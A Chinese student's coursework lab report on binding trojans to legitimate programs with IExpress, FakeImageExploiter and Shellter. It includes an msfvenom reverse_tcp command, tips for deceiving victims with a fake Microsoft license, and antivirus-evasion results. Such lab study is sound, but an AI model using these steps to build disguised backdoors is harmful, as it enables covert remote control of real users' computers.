20155326《网络对抗》免考项目——恶意代码的研究与深入分析之恶意代码的捆绑

利用Windows下IExpress捆绑木马文件

众所周知文件捆绑攻击主要是在正常的exe中捆绑一个木马程序,当用户打开被捆绑的木马程序之后,会同时执行正常程序和木马程序,由于木马程序执行时无窗口等,因此隐蔽性较高,文件捆绑需要解决的主要技术就是防范杀毒软件对捆绑程序以及木马程序的查杀。

IExpress专用于制作各种 CAB 压缩与自解压缩包的工具。 对于合成文件非常有用,伪装免杀的木马一般的杀软都不会报毒。

IExpress 6.00汉化版

这里以IEexpress安装制作程序为例来制作一个带木马程序的应用程序。

首先,在“运行”对话框中输入IExpress就可启动程序。

在开始的时候会有两个选项供你选择,一个是创建新的自解压文件(Create new Self Extraction Directive file),另一个是打开已经保存的自解压模板“.sed”文件(Open existing Self Extraction Directive file)。我们应该选择第一项,然后点击“下一步”按钮。

接下来选择制作木马自解压包的三种打包方式,它们分别是建立自解压并自动安装压缩包(Extract files and run an installation command)、建立自解压压缩包(Extract files only)和建立CAB压缩包(Create compressed files only)。

因为我们要制作的是木马解压包,所以应该选择第一项。在输入压缩包标题后点击“下一步”按钮。

输入putty作为解压包的名称。

在“确认提示”(Confirmation prompt)这一环节,软件会询问在木马程序解包前是否提示用户进行确认,由于我们是在制作木马程序的解压包,当然越隐蔽越好,选择第一项“不提示”(No prompt),这么做的目的是让中招人毫无防备。

点击“下一步”按钮,在接下来的添加“用户允许协议”(License agreement)中添加一个伪装的用户协议迷惑中招者,选择“显示用户允许协议”(Display a license),点击“Browse”选择一份编辑好的TXT文档,此文档可以用微软公司的名义来编辑,设置完毕后点击“下一步”。这一步的目的是迷惑对手并隐藏木马安装的过程。

现在,我们就进入了文件列表窗口(Packaged files)。点击该窗口中的“Add”按钮添加木马和将要与木马程序捆绑在一起的合法程序。

随后进入安装程序选择窗口,指定解压缩包开始运行的文件(Install Program)和安装结束后运行的程序(post install command)。例如,在Install Program内设置正常的软件先运行,此时木马并未运行,在中招者看来的确是一个IE补丁包。在post install command内设置木马程序,这样在IE补丁包安装完毕时,木马程序将会在后台执行,我们的目的也就达到了。

接下来选择软件在安装过程中的显示模式(Show window)。由于我们的木马是和合法程序捆绑在一起的,所以选择“默认”(Default)即可。

接下来进行提示语句(Finished message)的显示设置,由于我们做的是木马捆绑安装程序,当然应该选择“No message”。

上述设置完成后,接着设置自解压程序的保存位置和名称。在这里要选择“Hide File Extracting Progress Animation from User”,以便隐藏解压缩过程,有助于隐藏某些木马程序启动时弹出的命令提示框。

最后,设置在软件安装完成后是否重新启动(Configure reboot),可以根据实际需要来选择。如果你所用的木马是“即插即用”的,那么就选择“No reboot”;如果所采用的木马用于开启终端服务,那么可选择“Always reboot”,同时选择“重新启动前不提示用户”(Do not prompt user before reboot)。

在保存刚才所做的设置后点击“下一步”按钮,即可开始制作木马自解压程序。

整个制作过程是在DOS下进行的,在完成度达到100%后会弹出提示窗口,点击“完成”,木马程序与合法程序的捆绑工作就完成了(格式为EXE),直接双击即可运行。

我们在靶机中看看它的使用效果,一打开就是一个看着很正规的协议,点击确定。

之后运行putty.exe。

将它拷到我的主机中,测试一下它的免杀能力。

这是之前实验二时,使用第一次msf生成的后门放到virscan的检测结果:

这是上面捆绑后的程序在virscan的检测结果:

这里可以看出,虽然他还是查出来病毒,但是相较于直接使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.129 LPORT=5326 -f exe > 20155326_backdoor.exe生成的后门,文件报毒率下降了大约一半低。试想一下,如果和之前实验三的利用shellcode编程产生的后门结合起来,他被查出来的概率就应该大大降低了。所以说,免杀不仅需要各种捆绑软件的配合,还需要好的后门程序,两者相互配合。

图片后门捆绑利用工具 – FakeImageExploiter

这款名为“Fake Image Exploiter”的安全工具可以在图片文件中捆绑隐藏的恶意.bat或.exe程序,方便钓鱼或社工攻击测试过程中的入侵控制。如果受害者点击该恶意图片文件后,将会向控制主机反弹一个管理控制会话。

FakeImageExploiter配置使用

首先,打开Kali终端,执行下载安装和配置:

git clone https://github.com/r00t-3xp10it/FakeImageExploiter.git

下载完成之后,进入FakeImageExploiter文件夹,选择setting文件进行配置:

在此,你可以选择隐藏在图片中的Payload格式,有ps1、bat、txt和exe四种格式可选,我们选择PAYLOAD_EXETNSION=bat;在生成捆绑图片文件的替换图标icon选项中,我们选择BYPASS_RH=NO,非自动,需要手动更改和添加最终生成的图片图标icon。

同样,在setting文件中找到以下两列进行按需修改:

AUTO_PAYLOAD_BUILD=YES (自动生成Payload选项)

AGENT_HANLER_PORT=4444(植入恶意程序后的客户端监听端口)

配置选项完成后,可以启动Fake Image Exploiter主程序。

生成Payload

Cd FakeImageExploiter

./FakeImageExploiter.sh

选择YES启动Payload生成配置框架:

选择在捆绑在图片文件中的恶意程序需要加载利用的Payload,这里我们选择window/meterpreter/reverse_tcp:

之后,会跳出提示框,需要手动选择你需要捆绑.bat Payload进行伪装利用的jpg图片文件:

以及最终图片文件的替换图标icon主题:

接下来,为最终捆绑好的恶意图片文件进行命名:

FakeImageExploiter最后会生成在两个位置生成恶意图片文件,一个为本机Apache2 web服务的根目录下的.zip文件,另外为FakeImageExploiter输出文件夹(output)下的隐藏后缀恶意图片文件,点击执行后,该文件在显示jpg图像的同时,还会隐秘生成一个连向控制主机的反弹管理会话:

以下是控制端成功连接后显示的反弹管理会话:

利用kali linux捆绑工具shellter

Shellter是一个开源的免杀工具,利用动态Shellcode注入来实现免杀的效果,想了解更多可以参考shellter官网:https://www.shellterproject.com/

按图所示输入命令 ,安装shellter。

输入shellter,出现下图所示表示安装成功

从浏览器下载putty,并且复制到home目录下

2.在这里提示有三种操作模式

A:自动 
M:管理者,高级模式 
H:帮助选项 

在这里我们输入A,选择自动模式

3.输入PE target(这里PE target是进行免杀的exe预注入文件路径,程序会被自动备份到shellter_backup文件夹下,防止文件被破坏)等待shellter帮我们自动捆绑后门

这里有点小问题,他不是32位的,我重新找了一个32位的putty.exe进去。

输入Y,以隐形模式进入

出现下面几种连接方式

【1】Meterpreter_Reverse_TCP:是基于TCP的反向链接,换句话说,谁触发了这个模块,这个触发者的shell就会发送给指定的人 
【2】Meterpreter_Reverse_HTTP:基于 http网页传输的反向链接和上面大同小异,只不过 上面的基于TCP链接,这个是用GET 或者 POST进行发送接收 
【3】Meterpreter_Reverse_HTTPS:基于 https网页传输的反向链接,即安全的HTTP传输连接 
【4】Meterpreter_Bind_TCP:正向的链接,需要攻击者知道,是谁出发的这个模块,比较类似后门程序 
【5】Shell_Reverse_Bind_TCP:反向链接,只不过可以用shell直接接收会话 
【6】Shell_Bind_TCP:正向链接,只不过可以用shell直接接收会话 
【7】WinExec:运行外部程序

在这里输入L,编号选择1

输入kaliIP地址(192.168.146.129)和监听的端口.

回车之后,一个含有后门的文件就制作成功啦

生成的源文件的备份文件在这个文件夹里面

将其拖到主机中,我的360没有报毒。

好吧,过了大概两分钟我的360报毒了。

在kali中打开msf。

我的主机ip:

使用监听模块,设置payload,设置反弹回连的IP和端口,开始监听。

在主机点击绑了后门的putty32.exe,可以看到我成功获取了主机shell。